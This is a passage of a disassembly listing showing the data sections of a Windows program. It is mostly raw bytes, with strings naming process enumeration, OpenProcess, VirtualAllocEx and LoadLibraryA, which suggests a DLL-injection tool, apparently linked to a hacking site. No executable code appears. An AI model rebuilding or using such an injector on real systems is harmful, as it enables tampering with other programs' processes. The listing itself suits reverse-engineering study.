.rdata:00406D90                 db  6Ch ; l
.rdata:00406D91                 db  75h ; u
.rdata:00406D92                 db  65h ; e
.rdata:00406D93                 db    0
.rdata:00406D94                 db  9Dh ; ¥
.rdata:00406D95                 db    1
.rdata:00406D96                 db  48h ; H
.rdata:00406D97                 db  65h ; e
.rdata:00406D98                 db  61h ; a
.rdata:00406D99                 db  70h ; p
.rdata:00406D9A                 db  44h ; D
.rdata:00406D9B                 db  65h ; e
.rdata:00406D9C                 db  73h ; s
.rdata:00406D9D                 db  74h ; t
.rdata:00406D9E                 db  72h ; r
.rdata:00406D9F                 db  6Fh ; o
.rdata:00406DA0                 db  79h ; y
.rdata:00406DA1                 db    0
.rdata:00406DA2                 db  9Bh ; ¢
.rdata:00406DA3                 db    1
.rdata:00406DA4                 db  48h ; H
.rdata:00406DA5                 db  65h ; e
.rdata:00406DA6                 db  61h ; a
.rdata:00406DA7                 db  70h ; p
.rdata:00406DA8                 db  43h ; C
.rdata:00406DA9                 db  72h ; r
.rdata:00406DAA                 db  65h ; e
.rdata:00406DAB                 db  61h ; a
.rdata:00406DAC                 db  74h ; t
.rdata:00406DAD                 db  65h ; e
.rdata:00406DAE                 db    0
.rdata:00406DAF                 db    0
.rdata:00406DB0                 db 0BFh ; +
.rdata:00406DB1                 db    2
.rdata:00406DB2                 db  56h ; V
.rdata:00406DB3                 db  69h ; i
.rdata:00406DB4                 db  72h ; r
.rdata:00406DB5                 db  74h ; t
.rdata:00406DB6                 db  75h ; u
.rdata:00406DB7                 db  61h ; a
.rdata:00406DB8                 db  6Ch ; l
.rdata:00406DB9                 db  46h ; F
.rdata:00406DBA                 db  72h ; r
.rdata:00406DBB                 db  65h ; e
.rdata:00406DBC                 db  65h ; e
.rdata:00406DBD                 db    0
.rdata:00406DBE                 db  9Fh ; ƒ
.rdata:00406DBF                 db    1
.rdata:00406DC0                 db  48h ; H
.rdata:00406DC1                 db  65h ; e
.rdata:00406DC2                 db  61h ; a
.rdata:00406DC3                 db  70h ; p
.rdata:00406DC4                 db  46h ; F
.rdata:00406DC5                 db  72h ; r
.rdata:00406DC6                 db  65h ; e
.rdata:00406DC7                 db  65h ; e
.rdata:00406DC8                 db    0
.rdata:00406DC9                 db    0
.rdata:00406DCA                 db  2Fh ; /
.rdata:00406DCB                 db    2
.rdata:00406DCC                 db  52h ; R
.rdata:00406DCD                 db  74h ; t
.rdata:00406DCE                 db  6Ch ; l
.rdata:00406DCF                 db  55h ; U
.rdata:00406DD0                 db  6Eh ; n
.rdata:00406DD1                 db  77h ; w
.rdata:00406DD2                 db  69h ; i
.rdata:00406DD3                 db  6Eh ; n
.rdata:00406DD4                 db  64h ; d
.rdata:00406DD5                 db    0
.rdata:00406DD6                 db 0DFh ; ¯
.rdata:00406DD7                 db    2
.rdata:00406DD8                 db  57h ; W
.rdata:00406DD9                 db  72h ; r
.rdata:00406DDA                 db  69h ; i
.rdata:00406DDB                 db  74h ; t
.rdata:00406DDC                 db  65h ; e
.rdata:00406DDD                 db  46h ; F
.rdata:00406DDE                 db  69h ; i
.rdata:00406DDF                 db  6Ch ; l
.rdata:00406DE0                 db  65h ; e
.rdata:00406DE1                 db    0
.rdata:00406DE2                 db 0BFh ; +
.rdata:00406DE3                 db    0
.rdata:00406DE4                 db  47h ; G
.rdata:00406DE5                 db  65h ; e
.rdata:00406DE6                 db  74h ; t
.rdata:00406DE7                 db  43h ; C
.rdata:00406DE8                 db  50h ; P
.rdata:00406DE9                 db  49h ; I
.rdata:00406DEA                 db  6Eh ; n
.rdata:00406DEB                 db  66h ; f
.rdata:00406DEC                 db  6Fh ; o
.rdata:00406DED                 db    0
.rdata:00406DEE                 db  53h ; S
.rdata:00406DEF                 db    1
.rdata:00406DF0                 db  47h ; G
.rdata:00406DF1                 db  65h ; e
.rdata:00406DF2                 db  74h ; t
.rdata:00406DF3                 db  53h ; S
.rdata:00406DF4                 db  74h ; t
.rdata:00406DF5                 db  72h ; r
.rdata:00406DF6                 db  69h ; i
.rdata:00406DF7                 db  6Eh ; n
.rdata:00406DF8                 db  67h ; g
.rdata:00406DF9                 db  54h ; T
.rdata:00406DFA                 db  79h ; y
.rdata:00406DFB                 db  70h ; p
.rdata:00406DFC                 db  65h ; e
.rdata:00406DFD                 db  41h ; A
.rdata:00406DFE                 db    0
.rdata:00406DFF                 db    0
.rdata:00406E00                 db  56h ; V
.rdata:00406E01                 db    1
.rdata:00406E02                 db  47h ; G
.rdata:00406E03                 db  65h ; e
.rdata:00406E04                 db  74h ; t
.rdata:00406E05                 db  53h ; S
.rdata:00406E06                 db  74h ; t
.rdata:00406E07                 db  72h ; r
.rdata:00406E08                 db  69h ; i
.rdata:00406E09                 db  6Eh ; n
.rdata:00406E0A                 db  67h ; g
.rdata:00406E0B                 db  54h ; T
.rdata:00406E0C                 db  79h ; y
.rdata:00406E0D                 db  70h ; p
.rdata:00406E0E                 db  65h ; e
.rdata:00406E0F                 db  57h ; W
.rdata:00406E10                 db    0
.rdata:00406E11                 db    0
.rdata:00406E12                 db 0BBh ; +
.rdata:00406E13                 db    2
.rdata:00406E14                 db  56h ; V
.rdata:00406E15                 db  69h ; i
.rdata:00406E16                 db  72h ; r
.rdata:00406E17                 db  74h ; t
.rdata:00406E18                 db  75h ; u
.rdata:00406E19                 db  61h ; a
.rdata:00406E1A                 db  6Ch ; l
.rdata:00406E1B                 db  41h ; A
.rdata:00406E1C                 db  6Ch ; l
.rdata:00406E1D                 db  6Ch ; l
.rdata:00406E1E                 db  6Fh ; o
.rdata:00406E1F                 db  63h ; c
.rdata:00406E20                 db    0
.rdata:00406E21                 db    0
.rdata:00406E22                 db 0A2h ; ó
.rdata:00406E23                 db    1
.rdata:00406E24                 db  48h ; H
.rdata:00406E25                 db  65h ; e
.rdata:00406E26                 db  61h ; a
.rdata:00406E27                 db  70h ; p
.rdata:00406E28                 db  52h ; R
.rdata:00406E29                 db  65h ; e
.rdata:00406E2A                 db  41h ; A
.rdata:00406E2B                 db  6Ch ; l
.rdata:00406E2C                 db  6Ch ; l
.rdata:00406E2D                 db  6Fh ; o
.rdata:00406E2E                 db  63h ; c
.rdata:00406E2F                 db    0
.rdata:00406E30                 db 0B9h ; ¦
.rdata:00406E31                 db    0
.rdata:00406E32                 db  47h ; G
.rdata:00406E33                 db  65h ; e
.rdata:00406E34                 db  74h ; t
.rdata:00406E35                 db  41h ; A
.rdata:00406E36                 db  43h ; C
.rdata:00406E37                 db  50h ; P
.rdata:00406E38                 db    0
.rdata:00406E39                 db    0
.rdata:00406E3A                 db  31h ; 1
.rdata:00406E3B                 db    1
.rdata:00406E3C                 db  47h ; G
.rdata:00406E3D                 db  65h ; e
.rdata:00406E3E                 db  74h ; t
.rdata:00406E3F                 db  4Fh ; O
.rdata:00406E40                 db  45h ; E
.rdata:00406E41                 db  4Dh ; M
.rdata:00406E42                 db  43h ; C
.rdata:00406E43                 db  50h ; P
.rdata:00406E44                 db    0
.rdata:00406E45                 db    0
.rdata:00406E46                 db    0
.rdata:00406E47                 db    0
.rdata:00406E48                 db    0
.rdata:00406E49                 db    0
.rdata:00406E4A                 db    0
.rdata:00406E4B                 db    0
.rdata:00406E4C                 db    0
.rdata:00406E4D                 db    0
.rdata:00406E4E                 db    0
.rdata:00406E4F                 db    0
.rdata:00406E50                 db    0
.rdata:00406E51                 db    0
.rdata:00406E52                 db    0
.rdata:00406E53                 db    0
.rdata:00406E54                 db    0
.rdata:00406E55                 db    0
.rdata:00406E56                 db    0
.rdata:00406E57                 db    0
.rdata:00406E58                 db    0
.rdata:00406E59                 db    0
.rdata:00406E5A                 db    0
.rdata:00406E5B                 db    0
.rdata:00406E5C                 db    0
.rdata:00406E5D                 db    0
.rdata:00406E5E                 db    0
.rdata:00406E5F                 db    0
.rdata:00406E60                 db    0
.rdata:00406E61                 db    0
.rdata:00406E62                 db    0
.rdata:00406E63                 db    0
.rdata:00406E64                 db    0
.rdata:00406E65                 db    0
.rdata:00406E66                 db    0
.rdata:00406E67                 db    0
.rdata:00406E68                 db    0
.rdata:00406E69                 db    0
.rdata:00406E6A                 db    0
.rdata:00406E6B                 db    0
.rdata:00406E6C                 db    0
.rdata:00406E6D                 db    0
.rdata:00406E6E                 db    0
.rdata:00406E6F                 db    0
.rdata:00406E70                 db    0
.rdata:00406E71                 db    0
.rdata:00406E72                 db    0
.rdata:00406E73                 db    0
.rdata:00406E74                 db    0
.rdata:00406E75                 db    0
.rdata:00406E76                 db    0
.rdata:00406E77                 db    0
.rdata:00406E78                 db    0
.rdata:00406E79                 db    0
.rdata:00406E7A                 db    0
.rdata:00406E7B                 db    0
.rdata:00406E7C                 db    0
.rdata:00406E7D                 db    0
.rdata:00406E7E                 db    0
.rdata:00406E7F                 db    0
.rdata:00406E80                 db    0
.rdata:00406E81                 db    0
.rdata:00406E82                 db    0
.rdata:00406E83                 db    0
.rdata:00406E84                 db    0
.rdata:00406E85                 db    0
.rdata:00406E86                 db    0
.rdata:00406E87                 db    0
.rdata:00406E88                 db    0
.rdata:00406E89                 db    0
.rdata:00406E8A                 db    0
.rdata:00406E8B                 db    0
.rdata:00406E8C                 db    0
.rdata:00406E8D                 db    0
.rdata:00406E8E                 db    0
.rdata:00406E8F                 db    0
.rdata:00406E90                 db    0
.rdata:00406E91                 db    0
.rdata:00406E92                 db    0
.rdata:00406E93                 db    0
.rdata:00406E94                 db    0
.rdata:00406E95                 db    0
.rdata:00406E96                 db    0
.rdata:00406E97                 db    0
.rdata:00406E98                 db    0
.rdata:00406E99                 db    0
.rdata:00406E9A                 db    0
.rdata:00406E9B                 db    0
.rdata:00406E9C                 db    0
.rdata:00406E9D                 db    0
.rdata:00406E9E                 db    0
.rdata:00406E9F                 db    0
.rdata:00406EA0                 db    0
.rdata:00406EA1                 db    0
.rdata:00406EA2                 db    0
.rdata:00406EA3                 db    0
.rdata:00406EA4                 db    0
.rdata:00406EA5                 db    0
.rdata:00406EA6                 db    0
.rdata:00406EA7                 db    0
.rdata:00406EA8                 db    0
.rdata:00406EA9                 db    0
.rdata:00406EAA                 db    0
.rdata:00406EAB                 db    0
.rdata:00406EAC                 db    0
.rdata:00406EAD                 db    0
.rdata:00406EAE                 db    0
.rdata:00406EAF                 db    0
.rdata:00406EB0                 db    0
.rdata:00406EB1                 db    0
.rdata:00406EB2                 db    0
.rdata:00406EB3                 db    0
.rdata:00406EB4                 db    0
.rdata:00406EB5                 db    0
.rdata:00406EB6                 db    0
.rdata:00406EB7                 db    0
.rdata:00406EB8                 db    0
.rdata:00406EB9                 db    0
.rdata:00406EBA                 db    0
.rdata:00406EBB                 db    0
.rdata:00406EBC                 db    0
.rdata:00406EBD                 db    0
.rdata:00406EBE                 db    0
.rdata:00406EBF                 db    0
.rdata:00406EC0                 db    0
.rdata:00406EC1                 db    0
.rdata:00406EC2                 db    0
.rdata:00406EC3                 db    0
.rdata:00406EC4                 db    0
.rdata:00406EC5                 db    0
.rdata:00406EC6                 db    0
.rdata:00406EC7                 db    0
.rdata:00406EC8                 db    0
.rdata:00406EC9                 db    0
.rdata:00406ECA                 db    0
.rdata:00406ECB                 db    0
.rdata:00406ECC                 db    0
.rdata:00406ECD                 db    0
.rdata:00406ECE                 db    0
.rdata:00406ECF                 db    0
.rdata:00406ED0                 db    0
.rdata:00406ED1                 db    0
.rdata:00406ED2                 db    0
.rdata:00406ED3                 db    0
.rdata:00406ED4                 db    0
.rdata:00406ED5                 db    0
.rdata:00406ED6                 db    0
.rdata:00406ED7                 db    0
.rdata:00406ED8                 db    0
.rdata:00406ED9                 db    0
.rdata:00406EDA                 db    0
.rdata:00406EDB                 db    0
.rdata:00406EDC                 db    0
.rdata:00406EDD                 db    0
.rdata:00406EDE                 db    0
.rdata:00406EDF                 db    0
.rdata:00406EE0                 db    0
.rdata:00406EE1                 db    0
.rdata:00406EE2                 db    0
.rdata:00406EE3                 db    0
.rdata:00406EE4                 db    0
.rdata:00406EE5                 db    0
.rdata:00406EE6                 db    0
.rdata:00406EE7                 db    0
.rdata:00406EE8                 db    0
.rdata:00406EE9                 db    0
.rdata:00406EEA                 db    0
.rdata:00406EEB                 db    0
.rdata:00406EEC                 db    0
.rdata:00406EED                 db    0
.rdata:00406EEE                 db    0
.rdata:00406EEF                 db    0
.rdata:00406EF0                 db    0
.rdata:00406EF1                 db    0
.rdata:00406EF2                 db    0
.rdata:00406EF3                 db    0
.rdata:00406EF4                 db    0
.rdata:00406EF5                 db    0
.rdata:00406EF6                 db    0
.rdata:00406EF7                 db    0
.rdata:00406EF8                 db    0
.rdata:00406EF9                 db    0
.rdata:00406EFA                 db    0
.rdata:00406EFB                 db    0
.rdata:00406EFC                 db    0
.rdata:00406EFD                 db    0
.rdata:00406EFE                 db    0
.rdata:00406EFF                 db    0
.rdata:00406F00                 db    0
.rdata:00406F01                 db    0
.rdata:00406F02                 db    0
.rdata:00406F03                 db    0
.rdata:00406F04                 db    0
.rdata:00406F05                 db    0
.rdata:00406F06                 db    0
.rdata:00406F07                 db    0
.rdata:00406F08                 db    0
.rdata:00406F09                 db    0
.rdata:00406F0A                 db    0
.rdata:00406F0B                 db    0
.rdata:00406F0C                 db    0
.rdata:00406F0D                 db    0
.rdata:00406F0E                 db    0
.rdata:00406F0F                 db    0
.rdata:00406F10                 db    0
.rdata:00406F11                 db    0
.rdata:00406F12                 db    0
.rdata:00406F13                 db    0
.rdata:00406F14                 db    0
.rdata:00406F15                 db    0
.rdata:00406F16                 db    0
.rdata:00406F17                 db    0
.rdata:00406F18                 db    0
.rdata:00406F19                 db    0
.rdata:00406F1A                 db    0
.rdata:00406F1B                 db    0
.rdata:00406F1C                 db    0
.rdata:00406F1D                 db    0
.rdata:00406F1E                 db    0
.rdata:00406F1F                 db    0
.rdata:00406F20                 db    0
.rdata:00406F21                 db    0
.rdata:00406F22                 db    0
.rdata:00406F23                 db    0
.rdata:00406F24                 db    0
.rdata:00406F25                 db    0
.rdata:00406F26                 db    0
.rdata:00406F27                 db    0
.rdata:00406F28                 db    0
.rdata:00406F29                 db    0
.rdata:00406F2A                 db    0
.rdata:00406F2B                 db    0
.rdata:00406F2C                 db    0
.rdata:00406F2D                 db    0
.rdata:00406F2E                 db    0
.rdata:00406F2F                 db    0
.rdata:00406F30                 db    0
.rdata:00406F31                 db    0
.rdata:00406F32                 db    0
.rdata:00406F33                 db    0
.rdata:00406F34                 db    0
.rdata:00406F35                 db    0
.rdata:00406F36                 db    0
.rdata:00406F37                 db    0
.rdata:00406F38                 db    0
.rdata:00406F39                 db    0
.rdata:00406F3A                 db    0
.rdata:00406F3B                 db    0
.rdata:00406F3C                 db    0
.rdata:00406F3D                 db    0
.rdata:00406F3E                 db    0
.rdata:00406F3F                 db    0
.rdata:00406F40                 db    0
.rdata:00406F41                 db    0
.rdata:00406F42                 db    0
.rdata:00406F43                 db    0
.rdata:00406F44                 db    0
.rdata:00406F45                 db    0
.rdata:00406F46                 db    0
.rdata:00406F47                 db    0
.rdata:00406F48                 db    0
.rdata:00406F49                 db    0
.rdata:00406F4A                 db    0
.rdata:00406F4B                 db    0
.rdata:00406F4C                 db    0
.rdata:00406F4D                 db    0
.rdata:00406F4E                 db    0
.rdata:00406F4F                 db    0
.rdata:00406F50                 db    0
.rdata:00406F51                 db    0
.rdata:00406F52                 db    0
.rdata:00406F53                 db    0
.rdata:00406F54                 db    0
.rdata:00406F55                 db    0
.rdata:00406F56                 db    0
.rdata:00406F57                 db    0
.rdata:00406F58                 db    0
.rdata:00406F59                 db    0
.rdata:00406F5A                 db    0
.rdata:00406F5B                 db    0
.rdata:00406F5C                 db    0
.rdata:00406F5D                 db    0
.rdata:00406F5E                 db    0
.rdata:00406F5F                 db    0
.rdata:00406F60                 db    0
.rdata:00406F61                 db    0
.rdata:00406F62                 db    0
.rdata:00406F63                 db    0
.rdata:00406F64                 db    0
.rdata:00406F65                 db    0
.rdata:00406F66                 db    0
.rdata:00406F67                 db    0
.rdata:00406F68                 db    0
.rdata:00406F69                 db    0
.rdata:00406F6A                 db    0
.rdata:00406F6B                 db    0
.rdata:00406F6C                 db    0
.rdata:00406F6D                 db    0
.rdata:00406F6E                 db    0
.rdata:00406F6F                 db    0
.rdata:00406F70                 db    0
.rdata:00406F71                 db    0
.rdata:00406F72                 db    0
.rdata:00406F73                 db    0
.rdata:00406F74                 db    0
.rdata:00406F75                 db    0
.rdata:00406F76                 db    0
.rdata:00406F77                 db    0
.rdata:00406F78                 db    0
.rdata:00406F79                 db    0
.rdata:00406F7A                 db    0
.rdata:00406F7B                 db    0
.rdata:00406F7C                 db    0
.rdata:00406F7D                 db    0
.rdata:00406F7E                 db    0
.rdata:00406F7F                 db    0
.rdata:00406F80                 db    0
.rdata:00406F81                 db    0
.rdata:00406F82                 db    0
.rdata:00406F83                 db    0
.rdata:00406F84                 db    0
.rdata:00406F85                 db    0
.rdata:00406F86                 db    0
.rdata:00406F87                 db    0
.rdata:00406F88                 db    0
.rdata:00406F89                 db    0
.rdata:00406F8A                 db    0
.rdata:00406F8B                 db    0
.rdata:00406F8C                 db    0
.rdata:00406F8D                 db    0
.rdata:00406F8E                 db    0
.rdata:00406F8F                 db    0
.rdata:00406F90                 db    0
.rdata:00406F91                 db    0
.rdata:00406F92                 db    0
.rdata:00406F93                 db    0
.rdata:00406F94                 db    0
.rdata:00406F95                 db    0
.rdata:00406F96                 db    0
.rdata:00406F97                 db    0
.rdata:00406F98                 db    0
.rdata:00406F99                 db    0
.rdata:00406F9A                 db    0
.rdata:00406F9B                 db    0
.rdata:00406F9C                 db    0
.rdata:00406F9D                 db    0
.rdata:00406F9E                 db    0
.rdata:00406F9F                 db    0
.rdata:00406FA0                 db    0
.rdata:00406FA1                 db    0
.rdata:00406FA2                 db    0
.rdata:00406FA3                 db    0
.rdata:00406FA4                 db    0
.rdata:00406FA5                 db    0
.rdata:00406FA6                 db    0
.rdata:00406FA7                 db    0
.rdata:00406FA8                 db    0
.rdata:00406FA9                 db    0
.rdata:00406FAA                 db    0
.rdata:00406FAB                 db    0
.rdata:00406FAC                 db    0
.rdata:00406FAD                 db    0
.rdata:00406FAE                 db    0
.rdata:00406FAF                 db    0
.rdata:00406FB0                 db    0
.rdata:00406FB1                 db    0
.rdata:00406FB2                 db    0
.rdata:00406FB3                 db    0
.rdata:00406FB4                 db    0
.rdata:00406FB5                 db    0
.rdata:00406FB6                 db    0
.rdata:00406FB7                 db    0
.rdata:00406FB8                 db    0
.rdata:00406FB9                 db    0
.rdata:00406FBA                 db    0
.rdata:00406FBB                 db    0
.rdata:00406FBC                 db    0
.rdata:00406FBD                 db    0
.rdata:00406FBE                 db    0
.rdata:00406FBF                 db    0
.rdata:00406FC0                 db    0
.rdata:00406FC1                 db    0
.rdata:00406FC2                 db    0
.rdata:00406FC3                 db    0
.rdata:00406FC4                 db    0
.rdata:00406FC5                 db    0
.rdata:00406FC6                 db    0
.rdata:00406FC7                 db    0
.rdata:00406FC8                 db    0
.rdata:00406FC9                 db    0
.rdata:00406FCA                 db    0
.rdata:00406FCB                 db    0
.rdata:00406FCC                 db    0
.rdata:00406FCD                 db    0
.rdata:00406FCE                 db    0
.rdata:00406FCF                 db    0
.rdata:00406FD0                 db    0
.rdata:00406FD1                 db    0
.rdata:00406FD2                 db    0
.rdata:00406FD3                 db    0
.rdata:00406FD4                 db    0
.rdata:00406FD5                 db    0
.rdata:00406FD6                 db    0
.rdata:00406FD7                 db    0
.rdata:00406FD8                 db    0
.rdata:00406FD9                 db    0
.rdata:00406FDA                 db    0
.rdata:00406FDB                 db    0
.rdata:00406FDC                 db    0
.rdata:00406FDD                 db    0
.rdata:00406FDE                 db    0
.rdata:00406FDF                 db    0
.rdata:00406FE0                 db    0
.rdata:00406FE1                 db    0
.rdata:00406FE2                 db    0
.rdata:00406FE3                 db    0
.rdata:00406FE4                 db    0
.rdata:00406FE5                 db    0
.rdata:00406FE6                 db    0
.rdata:00406FE7                 db    0
.rdata:00406FE8                 db    0
.rdata:00406FE9                 db    0
.rdata:00406FEA                 db    0
.rdata:00406FEB                 db    0
.rdata:00406FEC                 db    0
.rdata:00406FED                 db    0
.rdata:00406FEE                 db    0
.rdata:00406FEF                 db    0
.rdata:00406FF0                 db    0
.rdata:00406FF1                 db    0
.rdata:00406FF2                 db    0
.rdata:00406FF3                 db    0
.rdata:00406FF4                 db    0
.rdata:00406FF5                 db    0
.rdata:00406FF6                 db    0
.rdata:00406FF7                 db    0
.rdata:00406FF8                 db    0
.rdata:00406FF9                 db    0
.rdata:00406FFA                 db    0
.rdata:00406FFB                 db    0
.rdata:00406FFC                 db    0
.rdata:00406FFD                 db    0
.rdata:00406FFE                 db    0
.rdata:00406FFF                 db    0
.rdata:00406FFF _rdata          ends
.rdata:00406FFF
.data:00407000 ; Section 3. (virtual address 00007000)
.data:00407000 ; Virtual size                  : 000012A4 (   4772.)
.data:00407000 ; Section size in file          : 00001000 (   4096.)
.data:00407000 ; Offset to raw data for section: 00007000
.data:00407000 ; Flags C0000040: Data Readable Writable
.data:00407000 ; Alignment     : default
.data:00407000 ; ---------------------------------------------------------------------------
.data:00407000
.data:00407000 ; Segment type: Pure data
.data:00407000 ; Segment permissions: Read/Write
.data:00407000 _data           segment para public 'DATA' use32
.data:00407000                 assume cs:_data
.data:00407000                 ;org 407000h
.data:00407000 unk_407000      db    0                 ; DATA XREF: __cinit+1Fo
.data:00407001                 db    0
.data:00407002                 db    0
.data:00407003                 db    0
.data:00407004                 db  80h ; Ç
.data:00407005                 db  1Bh
.data:00407006                 db  40h ; @
.data:00407007                 db    0
.data:00407008 unk_407008      db    0                 ; DATA XREF: __cinit+1Ao
.data:00407009                 db    0
.data:0040700A                 db    0
.data:0040700B                 db    0
.data:0040700C unk_40700C      db    0                 ; DATA XREF: __cinit+10o
.data:0040700D                 db    0
.data:0040700E                 db    0
.data:0040700F                 db    0
.data:00407010                 db 0F6h ; ÷
.data:00407011                 db  49h ; I
.data:00407012                 db  40h ; @
.data:00407013                 db    0
.data:00407014 unk_407014      db    0                 ; DATA XREF: __cinit:loc_402710o
.data:00407015                 db    0
.data:00407016                 db    0
.data:00407017                 db    0
.data:00407018 unk_407018      db    0                 ; DATA XREF: _doexit+6Ao
.data:00407019                 db    0
.data:0040701A                 db    0
.data:0040701B                 db    0
.data:0040701C unk_40701C      db    0                 ; DATA XREF: _doexit:loc_4027B9o
.data:0040701D                 db    0
.data:0040701E                 db    0
.data:0040701F                 db    0
.data:00407020 unk_407020      db    0                 ; DATA XREF: _doexit+7Bo
.data:00407021                 db    0
.data:00407022                 db    0
.data:00407023                 db    0
.data:00407024 unk_407024      db    0                 ; DATA XREF: _doexit:loc_4027CAo
.data:00407025                 db    0
.data:00407026                 db    0
.data:00407027                 db    0
.data:00407028                 db    0
.data:00407029                 db    0
.data:0040702A                 db    0
.data:0040702B                 db    0
.data:0040702C                 db    0
.data:0040702D                 db    0
.data:0040702E                 db    0
.data:0040702F                 db    0
.data:00407030 ; char aVirtualfreeex[]
.data:00407030 aVirtualfreeex  db 'VirtualFreeEx',0    ; DATA XREF: sub_401080+B3o
.data:0040703E                 align 10h
.data:00407040 ; char aVirtualallocex[]
.data:00407040 aVirtualallocex db 'VirtualAllocEx',0   ; DATA XREF: sub_401080+A8o
.data:0040704F                 align 10h
.data:00407050 ; char aOpenthread[]
.data:00407050 aOpenthread     db 'OpenThread',0       ; DATA XREF: sub_401080+9Do
.data:0040705B                 align 4
.data:0040705C ; char aOpenprocess[]
.data:0040705C aOpenprocess    db 'OpenProcess',0      ; DATA XREF: sub_401080+92o
.data:00407068 ; char aThread32next[]
.data:00407068 aThread32next   db 'Thread32Next',0     ; DATA XREF: sub_401080+87o
.data:00407075                 align 4
.data:00407078 ; char aThread32first[]
.data:00407078 aThread32first  db 'Thread32First',0    ; DATA XREF: sub_401080+7Co
.data:00407086                 align 4
.data:00407088 ; char aModule32next[]
.data:00407088 aModule32next   db 'Module32Next',0     ; DATA XREF: sub_401080+71o
.data:00407095                 align 4
.data:00407098 ; char aModule32first[]
.data:00407098 aModule32first  db 'Module32First',0    ; DATA XREF: sub_401080+66o
.data:004070A6                 align 4
.data:004070A8 ; char aProcess32next[]
.data:004070A8 aProcess32next  db 'Process32Next',0    ; DATA XREF: sub_401080+5Bo
.data:004070B6                 align 4
.data:004070B8 ; char aProcess32first[]
.data:004070B8 aProcess32first db 'Process32First',0   ; DATA XREF: sub_401080+51o
.data:004070C7                 align 4
.data:004070C8 ; char ProcName[]
.data:004070C8 ProcName        db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_401080+45o
.data:004070E1                 align 4
.data:004070E4 ; char LibFileName[]
.data:004070E4 LibFileName     db 'kernel32.dll',0     ; DATA XREF: sub_401080:loc_401096o
.data:004070E4                                         ; sub_401080+27o ...
.data:004070F1                 align 4
.data:004070F4 ; char aLoadlibrarya[]
.data:004070F4 aLoadlibrarya   db 'LoadLibraryA',0     ; DATA XREF: sub_4014B0:loc_401563o
.data:00407101                 align 4
.data:00407104 asc_407104:                             ; DATA XREF: sub_401980+48o
.data:00407104                 unicode 0, <¦>,0
.data:00407108                 db    0
.data:00407109                 db    0
.data:0040710A                 db    0
.data:0040710B                 db    0
.data:0040710C aXxxxx          db 'xxxxx',0            ; DATA XREF: sub_401980+43o
.data:00407112                 align 4
.data:00407114 aVirtualalloc   db 'VirtualAlloc',0     ; DATA XREF: .text:loc_401A2Ao
.data:00407121                 align 4
.data:00407124 aVirtualfree    db 'VirtualFree',0      ; DATA XREF: .text:loc_401A7Ao
.data:00407130 ; char Text[]
.data:00407130 Text            db 'Program are running now!',0
.data:00407130                                         ; DATA XREF: WinMain(x,x,x,x)+20o
.data:00407149                 align 4
.data:0040714C ; char Caption[]
.data:0040714C Caption         db 'Info',0             ; DATA XREF: WinMain(x,x,x,x)+1Bo
.data:00407151                 align 4
.data:00407154 ; char Name[]
.data:00407154 Name            db 'Laser',0            ; DATA XREF: WinMain(x,x,x,x)o
.data:0040715A                 align 4
.data:0040715C aNotExist       db ' not exist!',0      ; DATA XREF: StartAddress+DEo
.data:00407168 ; char aError[]
.data:00407168 aError          db 'Error',0            ; DATA XREF: StartAddress+ABo
.data:0040716E                 align 10h
.data:00407170 aFile           db 'File ',0            ; DATA XREF: StartAddress+82o
.data:00407176                 align 4
.data:00407178 aDll            db 'dll',0              ; DATA XREF: StartAddress+33o
.data:0040717C ; char Operation[]
.data:0040717C Operation       db 'open',0             ; DATA XREF: DialogFunc+173o
.data:00407181                 align 4
.data:00407184 ; char File[]
.data:00407184 File            db 'explorer',0         ; DATA XREF: DialogFunc+16Eo
.data:0040718D                 align 10h
.data:00407190 ; char Parameters[]
.data:00407190 Parameters      db 'http://hacktech.nl/',0 ; DATA XREF: DialogFunc+169o
.data:004071A4                 align 10h
.data:004071B0 off_4071B0      dd offset __exit        ; DATA XREF: __amsg_exit+1Cr
.data:004071B4 dword_4071B4    dd 2                    ; DATA XREF: __FF_MSGBANNER+Er
.data:004071B4                                         ; __NMSG_WRITE+46r
.data:004071B8 ; LPCRITICAL_SECTION dword_4071B8
.data:004071B8 dword_4071B8    dd 0                    ; DATA XREF: __lock+7r
.data:004071B8                                         ; __unlock+6r
.data:004071BC ; LPCRITICAL_SECTION off_4071BC
.data:004071BC off_4071BC      dd offset unk_407BF0    ; DATA XREF: __mtinitlocks+1Fr
.data:004071C0                 db    0
.data:004071C1                 db    0
.data:004071C2                 db    0
.data:004071C3                 db    0
.data:004071C4                 db    0
.data:004071C5                 db    0
.data:004071C6                 db    0
.data:004071C7                 db    0
.data:004071C8                 db    0
.data:004071C9                 db    0
.data:004071CA                 db    0
.data:004071CB                 db    0
.data:004071CC                 db    0
.data:004071CD                 db    0
.data:004071CE                 db    0
.data:004071CF                 db    0
.data:004071D0                 db    0
.data:004071D1                 db    0
.data:004071D2                 db    0
.data:004071D3                 db    0
.data:004071D4                 db    0
.data:004071D5                 db    0
.data:004071D6                 db    0
.data:004071D7                 db    0
.data:004071D8                 db    0
.data:004071D9                 db    0
.data:004071DA                 db    0
.data:004071DB                 db    0
.data:004071DC ; LPCRITICAL_SECTION off_4071DC
.data:004071DC off_4071DC      dd offset unk_407C20    ; DATA XREF: __mtinitlocks+17r
.data:004071E0                 db    0
.data:004071E1                 db    0
.data:004071E2                 db    0
.data:004071E3                 db    0
.data:004071E4                 db    0
.data:004071E5                 db    0
.data:004071E6                 db    0
.data:004071E7                 db    0
.data:004071E8                 db    0
.data:004071E9                 db    0
.data:004071EA                 db    0
.data:004071EB                 db    0
.data:004071EC ; LPCRITICAL_SECTION off_4071EC
.data:004071EC off_4071EC      dd offset unk_407C38    ; DATA XREF: __mtinitlocks+Fr
.data:004071F0                 db    0
.data:004071F1                 db    0
.data:004071F2                 db    0
.data:004071F3                 db    0
.data:004071F4                 db    0
.data:004071F5                 db    0
.data:004071F6                 db    0
.data:004071F7                 db    0
.data:004071F8                 db    0
.data:004071F9                 db    0
.data:004071FA                 db    0
.data:004071FB                 db    0
.data:004071FC ; LPCRITICAL_SECTION lpCriticalSection
.data:004071FC lpCriticalSection dd offset unk_407C08  ; DATA XREF: __mtinitlocks+7r
.data:00407200                 db    0
.data:00407201                 db    0
.data:00407202                 db    0
.data:00407203                 db    0
.data:00407204                 db    0
.data:00407205                 db    0
.data:00407206                 db    0
.data:00407207                 db    0
.data:00407208                 db    0
.data:00407209                 db    0
.data:0040720A                 db    0
.data:0040720B                 db    0
.data:0040720C                 db    0
.data:0040720D                 db    0
.data:0040720E                 db    0
.data:0040720F                 db    0
.data:00407210                 db    0
.data:00407211                 db    0
.data:00407212                 db    0
.data:00407213                 db    0
.data:00407214                 db    0
.data:00407215                 db    0
.data:00407216                 db    0
.data:00407217                 db    0
